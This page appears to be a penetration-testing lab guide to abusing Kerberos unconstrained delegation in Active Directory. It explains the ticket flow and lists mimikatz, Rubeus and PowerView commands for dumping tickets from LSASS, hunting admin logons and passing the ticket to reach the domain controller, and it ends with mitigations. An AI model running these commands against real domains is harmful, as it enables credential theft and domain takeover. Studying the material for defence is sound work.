Comment on page
This is the original implementation of delegation, and also the least secure. When unconstrained delegation is configured, the
userAccountControlattribute of the object gets updated to include the
TRUSTED_FOR_DELEGATIONflag. When an object authenticates to a host with unconstrained delegation configured, the ticket-granting ticket (TGT) for that account gets stored in memory (LSASS). This is so the host with unconstrained delegation configured can impersonate as that user later on if needed and access any service present in the domain
So imagine a scenario where a privileged account authenticates to a host with unconstrained delegation configured, you now can access any configured service within the domain as that privileged user.
- 1.The user tries to access a service (SQL Server) present in the domain.
- 2.The user authenticates to the KDC present in domain controller.
- 3.The KDC returns the TGT (Ticket Granting Ticket).
- 4.The user requests a TGS for the sql service with the TGT Ticket.
- 5.The KDC returns the TGS ticket.
- 6.Since the service (SQL Server) is configured with Unconstrained Delegation, the request for forwardable TGT Ticket is made to KDC.
- 7.The KDC returns with the forwardable TGT ticket.
- 8.The user sends the TGS ticket (for sql service) and the forwardable TGT ticket of the user to the SQL Server. Here, the user's TGT ticket is placed inside the TGS ticket. The SQL Server extracts the TGT ticket from TGS and its stored in LSASS. This way the server can reuse the user's TGT to access any other resource as the user.
- 9.Now, the SQL Server makes request to KDC for TGS ticket of CIFS service in file server (since the SQL Server has unconstrained delegation enabled, it can request any service present in the domain) with the TGT ticket of user.
- 10.The KDC upon verification of the ticket, returns the TGS ticket for the CIFS Service (in file server) to the SQL Server which can be reused on behalf of the user. The sql service account connects to the CIFS server as the user.
Packet flow of unconstrained delegation scenario captured through wireshark
Request for Forwardable TGT ticket with two flags set 'forwardable: True' and 'forwarded: True'
Our environment for this lab is:
- SQLSVR - SQL Server with Unconstrained Delegation ( Assumed that attacker has access over it)
- REDWOLF-DC - Domain Controller which would be compremised
Machine - SQLSVR is configured with Unconstrained Delegation
You must have administrative privileges over the systems or servers that have been listed. Import the mimikatz script on to the memory in any of the systems and dump the kerberos tickets from LSASS Memory. We can also use Rubeus.exe instead of dumping of tickets through mimikatz.
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
.\Rubeus.exe monitor /interval:5 /nowrap
Wait for critical users like domain admins or enterprise admins to login to SQLSVR
We can also look for interesting users to access the system with unconstrained delegation. This method requires PowerView script to be imported on to the memory and this can be executed in any system.
Invoke-UserHunter -ComputerName <Unconstrained_deleg_Server> -Poll 100 -Username Administrator -Delay 5 -Verbose
Once the tickets are dumped, we can reuse that tickets using mimikatz or rubeus.exe.
Invoke-Mimikatz -Command '"kerberos::ptt <FILE_NAME>.kirbi"'
.\Rubeus.exe ptt /ticket:<TICKET>
Later we can check whether the ticket as been injected in the LSASS, with
klistcommand. We can also access any of the services like CIFS, WMI, WINRM, HOST etc. on the target machine.
we have access over the domain controller (redwolf-dc) as ticket is injected in LSASS
- Disable kerberos delegation where possible
- Use Kerberos Constrained or Resource Based Constrained Delegation instead of Unconstrained Delegation
- Be cautious of whom you give privilege Enable computer and user accounts to be trusted for delegation - these are users who can enable unrestricted kerberos delagation
- Enable the settings "Account is sensitive and cannot be delegated" for high privileged accounts like Domain Admins, Enterprise Admins etc.